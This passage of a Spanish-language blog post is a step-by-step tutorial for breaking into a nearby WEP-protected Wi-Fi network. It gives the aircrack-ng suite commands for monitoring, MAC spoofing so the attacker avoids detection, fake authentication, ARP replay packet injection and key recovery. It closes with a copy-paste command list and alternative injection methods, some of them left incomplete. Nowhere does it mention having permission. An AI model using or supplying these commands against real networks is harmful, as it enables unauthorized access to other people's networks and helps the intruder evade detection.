cuando te pida usuario y contraseña usa los siguientes:
Usuario: root
Contraseña: toor
Introducelo todo en minúsculas
Luego cuando ya todo cargue escribe lo siguiente:
startx
Esto es para que se inicie el modo grafico.
Cuando escuches el sonido de Mortal Kombat un "Finish Him!" es que ya cargo y está listo para ser utilizado.
Bueno ahora viene lo bueno, abre una ventana de terminal (o consola) y escribe lo siguiente:
airmon-ng
Aquí te va a decir cuál es tu tarjeta inalámbrica, lo normal es que salga wlan0, o eth0, o eth1, cosas así por el estilo, tú te vas a dar cuenta de cuál es, en mi caso es la wlan0.
Luego introduce los siguientes comandos:
airmon-ng stop wlan0
ifconfig wlan0 down
Con esto deshabilitas la tarjeta de red inalámbrica para hacerle un cambio de mac, este con dos razones importantes: 1. Para que así no haya problemas de que te puedan detectar e impedirte futuras conexiones y 2. Vas a necesitar el número de mac mas adelante y esta es una fácil de escribir y recordar.
Para cambiar la mac escribe los siguientes comandos:
macchanger --mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
Con el primer comando se cambio la mac de tu tarjeta de red por 00:11:22:33:44:55 y con el segundo habilitaste nuevamente tu tarjeta de red inalámbrica (puede tardar un poco este ultimo comando)
Ahora vas a proceder a ver las redes inalámbricas que están a tu alcance con el siguiente comando:
airodump-ng wlan0
Va a salir la lista de las redes inalámbricas, donde dice el BSSID (mac del router que da la señal), PWR (Poder de señal), CHN (Canal que se encuentra la red), ENCR (Es el tipo de contraseña que tiene la red, este tutorial es solo para WEP) y ESSID (Nombre de la red inalámbrica).
Se que son más datos los que se muestran, pero esos no son de importancia, solo vamos a utilizar los que mencione.
Cuando selecciones la red inalámbrica que vamos a atacar aprieta Ctrl + C para parar el proceso y con el mouse sombrea todo el BSSID de esa red y dale click derecho y copiar.
Para explicar bien esta parte vamos a poner un ejemplo:
BSSID
66:77:88:99:00:11
CHN
6
ESSID
ejemplo
Ahora para ponernos de modo monitor (para capturar paquetes) de esa red pon el siguiente comando:
airodump-ng -c 6 -w prueba --bssid 66:77:88:99:00:11 wlan0
Donde:
-c es el numero del canal de la red que estamos atacando
-w es el archivo donde se van a guardar los paquetes que captures (por defecto están en la dirección /root)
--bssid es la mac del router de la red que estamos atacando
wlan0 es nuestra tarjeta inalambrica
Ahora que ya estas capturando datos veras que hay una parte que dice DATA, estos son los paquetes que llevamos capturados, para poder descifrar una wep es necesario 20,000 paquetes. Te darás cuenta que puede ir muy lento, esto significa que ninguna persona está utilizando la red entonces no está generando tráfico y te podría llevar días llegar a los 20,000 paquetes, pero no te preocupes que ahora te enseñare como generar tráfico en la red.
Para inyectarle trafico a la red abre otra terminal (consola) donde introducirás los siguientes comandos:
aireplay-ng -1 0 -a 66:77:88:99:00:11 -h 00:11:22:33:44:55 -e ejemplo wlan0
Donde:
-a es el bssid de la red que estamos atacando
-h es la mac falsa que le introducimos a tu tarjeta de red inalámbrica
-e es el nombre de la red que estamos atacando
Luego cuando salgan 4 líneas de códigos y te diga que la conexión esta succesfuld, esto significa que estas conectado en capa 2 al router de la red que estamos atacando.
Si por alguna razón no se puede conectar algunas de las razones son las siguientes:
-La red a la que quieres atacar está muy lejos
-Tu tarjeta de red no puede hacer inyección de paquetes
-El router tiene seguridad para evitar este tipo de ataques
Ahora para inyectarle el trafico introduce el siguientes comando:
aireplay-ng -3 -b 66:77:88:99:00:11 -h 00:11:22:33:44:55 wlan0
Donde:
-b es el bssid de la red que estamos atacando
-h es la mac falsa que le introducimos a tu tarjeta de red inalámbrica
Veras que se empezaron a inyectar paquetes, si vas a ver a la otra terminal donde estas capturando los paquetes te darás cuenta que la DATA va caminando muy rápido.
Ahora abre otra terminal (consola) e introduce el siguiente comando:
aircrack-ng prueba-01.cap
Donde:
-Prueba-01.cap es el archivo donde se están capturando los datos
Deja que el comando se ejecute hasta que te diga un mensaje KEY FOUND!!, esto significa que la contraseña se a descifrado, y te la mostrara al lado derecho de la siguiente forma:
[XX:XX:XX:XX:XX:XX]
Donde las XX son las letras o números de la contraseña, por ejemplo:
Si te muestra [12:34:56:78:90]
La contraseña para esa red inalámbrica seria 1234567890.
Bueno para aquellos que quieren probar aquí les pongo todos los comandos en el orden que debe de ser para que solo le den copiar:
# airmon-ng
# airmon-ng stop wlan0
# ifconfig wlan0 down
# macchanger –mac 00:11:22:33:44:55 wlan0
# airmon-ng start wlan0
# airodump-ng wlan0
# airodump-ng -c (numero del canal) -w nombrearchivo –bssid (bssid) wlan0
# aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0
# aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
# aircrack-ng nombredelarchivo.cap
Como se darán cuenta son pocos comandos pero llevan mucha explicación y lo trate de hacer de una forma entendible, ya estoy trabajando en el video, así que no se preocupen si no entienden, pronto voy a sacar el video donde igual voy a explicar los pasos.
Para aquellos que quieren probar otras formas de inyección aquí les dejo otras dos formas que me han funcionado perfecto:
Forma 2:
# aireplay-ng -1 0 -a
# aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -h (MAC) wlan0
Verificar si el BSSID es el que estamos atacando
Forma 3:
# aireplay-ng -1 0 -a
# aireplay-ng -5 -b
ver como se llama el archivo .xor
# packetforge-ng -0 -a
# aireplay-ng -2 -r ARP wlan0
Entradas
No hay comentarios:
Publicar un comentario